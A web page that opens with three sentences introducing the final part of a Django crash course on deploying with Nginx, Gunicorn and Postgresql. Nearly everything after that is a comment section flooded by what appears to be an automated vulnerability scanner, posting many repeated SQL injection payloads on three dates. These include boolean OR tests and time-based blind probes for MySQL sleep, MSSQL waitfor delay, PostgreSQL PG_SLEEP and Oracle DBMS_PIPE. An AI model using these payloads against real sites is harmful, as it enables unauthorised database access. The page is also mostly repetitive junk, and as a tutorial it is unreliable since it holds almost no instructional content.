In the last part of this Django crash course, we will deploy the project to a live Ubuntu 20.04 server.
For hosting the Django project, we are going to use a combination of Nginx and Gunicorn.
For the database, we will use Postgresql.
EFSArCBy | Jul 02, 26 11:14
555
EFSArCBy | Jul 02, 26 11:17
555
EFSArCBy | Jul 02, 26 11:17
555
EFSArCBy | Jul 02, 26 11:17
-1 OR 2+537-537-1=0+0+0+1 --
EFSArCBy | Jul 02, 26 11:17
-1 OR 2+377-377-1=0+0+0+1
EFSArCBy | Jul 02, 26 11:17
-1' OR 2+748-748-1=0+0+0+1 --
EFSArCBy | Jul 02, 26 11:17
-1' OR 2+510-510-1=0+0+0+1 or 'c847cQUd'='
EFSArCBy | Jul 02, 26 11:17
-1" OR 2+981-981-1=0+0+0+1 --
EFSArCBy | Jul 02, 26 11:17
555*if(now()=sysdate(),sleep(15),0)
EFSArCBy | Jul 02, 26 11:17
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
EFSArCBy | Jul 02, 26 11:17
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
EFSArCBy | Jul 02, 26 11:17
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
EFSArCBy | Jul 02, 26 11:17
555-1; waitfor delay '0:0:15' --
EFSArCBy | Jul 02, 26 11:17
555-1); waitfor delay '0:0:15' --
EFSArCBy | Jul 02, 26 11:17
555-1 waitfor delay '0:0:15' --
EFSArCBy | Jul 02, 26 11:17
555kA9xn0TT'; waitfor delay '0:0:15' --
EFSArCBy | Jul 02, 26 11:17
555-1 OR 588=(SELECT 588 FROM PG_SLEEP(15))--
EFSArCBy | Jul 02, 26 11:17
555-1) OR 941=(SELECT 941 FROM PG_SLEEP(15))--
EFSArCBy | Jul 02, 26 11:17
555-1)) OR 803=(SELECT 803 FROM PG_SLEEP(15))--
EFSArCBy | Jul 02, 26 11:17
555qtpcBPRw' OR 437=(SELECT 437 FROM PG_SLEEP(15))--
EFSArCBy | Jul 02, 26 11:17
555FbDtGPQI') OR 151=(SELECT 151 FROM PG_SLEEP(15))--
EFSArCBy | Jul 02, 26 11:17
5558IJlM6Kw')) OR 130=(SELECT 130 FROM PG_SLEEP(15))--
EFSArCBy | Jul 02, 26 11:17
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
EFSArCBy | Jul 02, 26 11:17
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
EFSArCBy | Jul 02, 26 11:17
555
EFSArCBy | Jul 02, 26 11:17
555'"
EFSArCBy | Jul 02, 26 11:17
@@AKjJz
EFSArCBy | Jul 02, 26 11:17
555
EFSArCBy | Jul 02, 26 11:17
555
EFSArCBy | Jul 02, 26 11:17
555
EFSArCBy | Jul 02, 26 11:17
555
EFSArCBy | Jul 02, 26 11:17
555
EFSArCBy | Jul 02, 26 11:17
555
EFSArCBy | Jul 02, 26 11:17
555
EFSArCBy | Jul 02, 26 11:17
555
EFSArCBy | Jul 02, 26 11:17
555
EFSArCBy | Jul 02, 26 11:17
555
EFSArCBy | Jul 02, 26 11:17
555
EFSArCBy | Jul 02, 26 11:17
555
EFSArCBy | Jul 02, 26 11:17
555
EFSArCBy | Jul 02, 26 11:17
555
EFSArCBy | Jul 02, 26 11:17
555
EFSArCBy | Jul 02, 26 11:17
555
EFSArCBy | Jul 02, 26 11:17
555
EFSArCBy | Jul 02, 26 11:17
555
EFSArCBy | Jul 02, 26 11:17
555
EFSArCBy | Jul 02, 26 11:17
555
EFSArCBy | Jul 02, 26 11:17
555
EFSArCBy | Jul 02, 26 11:17
555
EFSArCBy | Jul 02, 26 11:17
555
EFSArCBy | Jul 02, 26 11:17
555
-1 OR 2+429-429-1=0+0+0+1 -- | Jul 02, 26 11:17
555
-1 OR 2+265-265-1=0+0+0+1 | Jul 02, 26 11:17
555
-1' OR 2+382-382-1=0+0+0+1 -- | Jul 02, 26 11:17
555
-1' OR 2+247-247-1=0+0+0+1 or 'rDClYXGB'=' | Jul 02, 26 11:17
555
-1" OR 2+298-298-1=0+0+0+1 -- | Jul 02, 26 11:17
555
if(now()=sysdate(),sleep(15),0) | Jul 02, 26 11:17
555
EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 02, 26 11:17
555
EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 02, 26 11:17
555
EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 02, 26 11:17
555
EFSArCByDhmpzFdi'; waitfor delay '0:0:15' -- | Jul 02, 26 11:17
555
EFSArCByftPk8Z4S' OR 239=(SELECT 239 FROM PG_SLEEP(15))-- | Jul 02, 26 11:17
555
EFSArCBy1Kc1xsXJ') OR 191=(SELECT 191 FROM PG_SLEEP(15))-- | Jul 02, 26 11:17
555
EFSArCByVpcmGnox')) OR 101=(SELECT 101 FROM PG_SLEEP(15))-- | Jul 02, 26 11:17
555
EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 02, 26 11:17
555
EFSArCBy | Jul 02, 26 11:17
555
EFSArCBy'" | Jul 02, 26 11:17
555
@@Sgnxj | Jul 02, 26 11:17
555
EFSArCBy | Jul 02, 26 11:17
555
EFSArCBy | Jul 02, 26 11:17
555
EFSArCBy | Jul 02, 26 11:17
555
EFSArCBy | Jul 02, 26 11:17
555
EFSArCBy | Jul 02, 26 11:17
555
EFSArCBy | Jul 02, 26 11:17
555
EFSArCBy | Jul 02, 26 11:17
555
EFSArCBy | Jul 02, 26 11:17
555
EFSArCBy | Jul 02, 26 11:17
555
EFSArCBy | Jul 02, 26 11:17
555
EFSArCBy | Jul 02, 26 11:17
555
EFSArCBy | Jul 02, 26 11:17
555
EFSArCBy | Jul 02, 26 11:17
555
EFSArCBy | Jul 02, 26 11:17
555
EFSArCBy | Jul 02, 26 11:17
555
EFSArCBy | Jul 02, 26 11:17
555
EFSArCBy | Jul 02, 26 11:17
555
EFSArCBy | Jul 02, 26 11:17
555
EFSArCBy | Jul 02, 26 11:17
555
EFSArCBy | Jul 20, 26 11:33
555
EFSArCBy | Jul 20, 26 11:37
555
EFSArCBy | Jul 20, 26 11:37
555
EFSArCBy | Jul 20, 26 11:37
-1 OR 2+189-189-1=0+0+0+1 --
EFSArCBy | Jul 20, 26 11:37
-1 OR 2+866-866-1=0+0+0+1
EFSArCBy | Jul 20, 26 11:37
-1' OR 2+613-613-1=0+0+0+1 --
EFSArCBy | Jul 20, 26 11:37
-1' OR 2+241-241-1=0+0+0+1 or '19KEvN0Y'='
EFSArCBy | Jul 20, 26 11:37
-1" OR 2+47-47-1=0+0+0+1 --
EFSArCBy | Jul 20, 26 11:37
555*if(now()=sysdate(),sleep(15),0)
EFSArCBy | Jul 20, 26 11:37
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
EFSArCBy | Jul 20, 26 11:37
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
EFSArCBy | Jul 20, 26 11:37
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
EFSArCBy | Jul 20, 26 11:37
555-1; waitfor delay '0:0:15' --
EFSArCBy | Jul 20, 26 11:37
555-1); waitfor delay '0:0:15' --
EFSArCBy | Jul 20, 26 11:37
555-1 waitfor delay '0:0:15' --
EFSArCBy | Jul 20, 26 11:37
555mInvoBSB'; waitfor delay '0:0:15' --
EFSArCBy | Jul 20, 26 11:37
555-1 OR 254=(SELECT 254 FROM PG_SLEEP(15))--
EFSArCBy | Jul 20, 26 11:37
555-1) OR 871=(SELECT 871 FROM PG_SLEEP(15))--
EFSArCBy | Jul 20, 26 11:37
555-1)) OR 633=(SELECT 633 FROM PG_SLEEP(15))--
EFSArCBy | Jul 20, 26 11:37
555QivFvl9S' OR 118=(SELECT 118 FROM PG_SLEEP(15))--
EFSArCBy | Jul 20, 26 11:37
555NSUwMuLY') OR 552=(SELECT 552 FROM PG_SLEEP(15))--
EFSArCBy | Jul 20, 26 11:37
555MuUhSjVB')) OR 624=(SELECT 624 FROM PG_SLEEP(15))--
EFSArCBy | Jul 20, 26 11:37
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
EFSArCBy | Jul 20, 26 11:37
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
EFSArCBy | Jul 20, 26 11:37
555
EFSArCBy | Jul 20, 26 11:37
555'"
EFSArCBy | Jul 20, 26 11:37
@@78H6d
EFSArCBy | Jul 20, 26 11:37
555
EFSArCBy | Jul 20, 26 11:37
555
EFSArCBy | Jul 20, 26 11:37
555
EFSArCBy | Jul 20, 26 11:37
555
EFSArCBy | Jul 20, 26 11:37
555
EFSArCBy | Jul 20, 26 11:37
555
EFSArCBy | Jul 20, 26 11:37
555
EFSArCBy | Jul 20, 26 11:37
555
EFSArCBy | Jul 20, 26 11:37
555
EFSArCBy | Jul 20, 26 11:37
555
EFSArCBy | Jul 20, 26 11:37
555
EFSArCBy | Jul 20, 26 11:37
555
EFSArCBy | Jul 20, 26 11:37
555
EFSArCBy | Jul 20, 26 11:37
555
EFSArCBy | Jul 20, 26 11:37
555
EFSArCBy | Jul 20, 26 11:37
555
EFSArCBy | Jul 20, 26 11:37
555
EFSArCBy | Jul 20, 26 11:37
555
EFSArCBy | Jul 20, 26 11:37
555
EFSArCBy | Jul 20, 26 11:37
555
EFSArCBy | Jul 20, 26 11:37
555
EFSArCBy | Jul 20, 26 11:37
555
EFSArCBy | Jul 20, 26 11:37
555
EFSArCBy | Jul 20, 26 11:37
555
-1 OR 2+226-226-1=0+0+0+1 -- | Jul 20, 26 11:37
555
-1 OR 2+860-860-1=0+0+0+1 | Jul 20, 26 11:37
555
-1' OR 2+258-258-1=0+0+0+1 -- | Jul 20, 26 11:37
555
-1' OR 2+360-360-1=0+0+0+1 or 'GgWCOq1s'=' | Jul 20, 26 11:37
555
-1" OR 2+810-810-1=0+0+0+1 -- | Jul 20, 26 11:37
555
if(now()=sysdate(),sleep(15),0) | Jul 20, 26 11:37
555
EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 20, 26 11:37
555
EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 20, 26 11:37
555
EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 20, 26 11:37
555
EFSArCByrCnDVOTs'; waitfor delay '0:0:15' -- | Jul 20, 26 11:37
555
EFSArCBylqC0wVhZ' OR 996=(SELECT 996 FROM PG_SLEEP(15))-- | Jul 20, 26 11:37
555
EFSArCBy96O8h9Cn') OR 798=(SELECT 798 FROM PG_SLEEP(15))-- | Jul 20, 26 11:37
555
EFSArCByojqUU0q6')) OR 644=(SELECT 644 FROM PG_SLEEP(15))-- | Jul 20, 26 11:37
555
EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 20, 26 11:37
555
EFSArCBy | Jul 20, 26 11:37
555
EFSArCBy'" | Jul 20, 26 11:37
555
@@fzDWe | Jul 20, 26 11:37
555
EFSArCBy | Jul 20, 26 11:37
555
EFSArCBy | Jul 20, 26 11:37
555
EFSArCBy | Jul 20, 26 11:37
555
EFSArCBy | Jul 20, 26 11:37
555
EFSArCBy | Jul 20, 26 11:37
555
EFSArCBy | Jul 20, 26 11:37
555
EFSArCBy | Jul 20, 26 11:37
555
EFSArCBy | Jul 20, 26 11:37
555
EFSArCBy | Jul 20, 26 11:37
555
EFSArCBy | Jul 20, 26 11:37
555
EFSArCBy | Jul 20, 26 11:37
555
EFSArCBy | Jul 20, 26 11:37
555
EFSArCBy | Jul 20, 26 11:37
555
EFSArCBy | Jul 20, 26 11:37
555
EFSArCBy | Jul 20, 26 11:37
555
EFSArCBy | Jul 20, 26 11:37
555
EFSArCBy | Jul 20, 26 11:37
555
EFSArCBy | Jul 20, 26 11:37
555
EFSArCBy | Jul 20, 26 11:37
555
EFSArCBy | Jul 23, 26 02:27
555
EFSArCBy | Jul 23, 26 02:31
555
EFSArCBy | Jul 23, 26 02:31
555
EFSArCBy | Jul 23, 26 02:31
-1 OR 2+731-731-1=0+0+0+1 --
EFSArCBy | Jul 23, 26 02:31
-1 OR 2+357-357-1=0+0+0+1
EFSArCBy | Jul 23, 26 02:31
-1' OR 2+523-523-1=0+0+0+1 --
EFSArCBy | Jul 23, 26 02:31
-1' OR 2+336-336-1=0+0+0+1 or 'WKJscxl0'='
EFSArCBy | Jul 23, 26 02:31
-1" OR 2+894-894-1=0+0+0+1 --
EFSArCBy | Jul 23, 26 02:31
555*if(now()=sysdate(),sleep(15),0)
EFSArCBy | Jul 23, 26 02:31
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
EFSArCBy | Jul 23, 26 02:31
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
EFSArCBy | Jul 23, 26 02:31
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
EFSArCBy | Jul 23, 26 02:31
555-1; waitfor delay '0:0:15' --
EFSArCBy | Jul 23, 26 02:31
555-1); waitfor delay '0:0:15' --
EFSArCBy | Jul 23, 26 02:31
555-1 waitfor delay '0:0:15' --
EFSArCBy | Jul 23, 26 02:31
5551ZEfTsDP'; waitfor delay '0:0:15' --
EFSArCBy | Jul 23, 26 02:31
555-1 OR 42=(SELECT 42 FROM PG_SLEEP(15))--
EFSArCBy | Jul 23, 26 02:31
555-1) OR 709=(SELECT 709 FROM PG_SLEEP(15))--
EFSArCBy | Jul 23, 26 02:31
555-1)) OR 96=(SELECT 96 FROM PG_SLEEP(15))--
EFSArCBy | Jul 23, 26 02:31
555utMkzRDw' OR 752=(SELECT 752 FROM PG_SLEEP(15))--
EFSArCBy | Jul 23, 26 02:31
555TS6WhzmD') OR 578=(SELECT 578 FROM PG_SLEEP(15))--
EFSArCBy | Jul 23, 26 02:31
555heNa9H3B')) OR 422=(SELECT 422 FROM PG_SLEEP(15))--
EFSArCBy | Jul 23, 26 02:31
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
EFSArCBy | Jul 23, 26 02:31
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
EFSArCBy | Jul 23, 26 02:31
555
EFSArCBy | Jul 23, 26 02:31
555'"
EFSArCBy | Jul 23, 26 02:31
@@AdHLF
EFSArCBy | Jul 23, 26 02:31
555
EFSArCBy | Jul 23, 26 02:31
555
EFSArCBy | Jul 23, 26 02:31
555
EFSArCBy | Jul 23, 26 02:31
555
EFSArCBy | Jul 23, 26 02:31
555
EFSArCBy | Jul 23, 26 02:31
555
EFSArCBy | Jul 23, 26 02:31
555
EFSArCBy | Jul 23, 26 02:31
555
EFSArCBy | Jul 23, 26 02:31
555
EFSArCBy | Jul 23, 26 02:31
555
EFSArCBy | Jul 23, 26 02:31
555
EFSArCBy | Jul 23, 26 02:31
555
EFSArCBy | Jul 23, 26 02:31
555
EFSArCBy | Jul 23, 26 02:31
555
EFSArCBy | Jul 23, 26 02:31
555
EFSArCBy | Jul 23, 26 02:31
555
EFSArCBy | Jul 23, 26 02:31
555
EFSArCBy | Jul 23, 26 02:31
555
EFSArCBy | Jul 23, 26 02:31
555
EFSArCBy | Jul 23, 26 02:31
555
EFSArCBy | Jul 23, 26 02:31
555
EFSArCBy | Jul 23, 26 02:31
555
EFSArCBy | Jul 23, 26 02:31
555
EFSArCBy | Jul 23, 26 02:31
555
-1 OR 2+638-638-1=0+0+0+1 -- | Jul 23, 26 02:31
555
-1 OR 2+570-570-1=0+0+0+1 | Jul 23, 26 02:31
555
-1' OR 2+225-225-1=0+0+0+1 -- | Jul 23, 26 02:31
555
-1' OR 2+455-455-1=0+0+0+1 or 'BAIpSp5c'=' | Jul 23, 26 02:31
555
-1" OR 2+473-473-1=0+0+0+1 -- | Jul 23, 26 02:31
555
if(now()=sysdate(),sleep(15),0) | Jul 23, 26 02:31
555
EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 23, 26 02:31
555
EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 23, 26 02:31
555
EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 23, 26 02:31
555
EFSArCByndWYTxx0'; waitfor delay '0:0:15' -- | Jul 23, 26 02:31
555
EFSArCByBZMC1fmL' OR 76=(SELECT 76 FROM PG_SLEEP(15))-- | Jul 23, 26 02:31
555
EFSArCBy02trduUs') OR 702=(SELECT 702 FROM PG_SLEEP(15))-- | Jul 23, 26 02:31
555
EFSArCBygu86zrzm')) OR 574=(SELECT 574 FROM PG_SLEEP(15))-- | Jul 23, 26 02:31
555
EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 23, 26 02:31
555
EFSArCBy | Jul 23, 26 02:31
555
EFSArCBy'" | Jul 23, 26 02:31
555
@@Bepz6 | Jul 23, 26 02:31
555
EFSArCBy | Jul 23, 26 02:31
555
EFSArCBy | Jul 23, 26 02:31
555
EFSArCBy | Jul 23, 26 02:31
555
EFSArCBy | Jul 23, 26 02:31
555
EFSArCBy | Jul 23, 26 02:31
555
EFSArCBy | Jul 23, 26 02:31
555
EFSArCBy | Jul 23, 26 02:31
555
EFSArCBy | Jul 23, 26 02:31
555
EFSArCBy | Jul 23, 26 02:31
555
EFSArCBy | Jul 23, 26 02:31
555
EFSArCBy | Jul 23, 26 02:31
555
EFSArCBy | Jul 23, 26 02:31
555
EFSArCBy | Jul 23, 26 02:31
555
EFSArCBy | Jul 23, 26 02:31
555
EFSArCBy | Jul 23, 26 02:31
555
EFSArCBy | Jul 23, 26 02:31
555
EFSArCBy | Jul 23, 26 02:31
555
EFSArCBy | Jul 23, 26 02:31
555
EFSArCBy | Jul 23, 26 02:31
555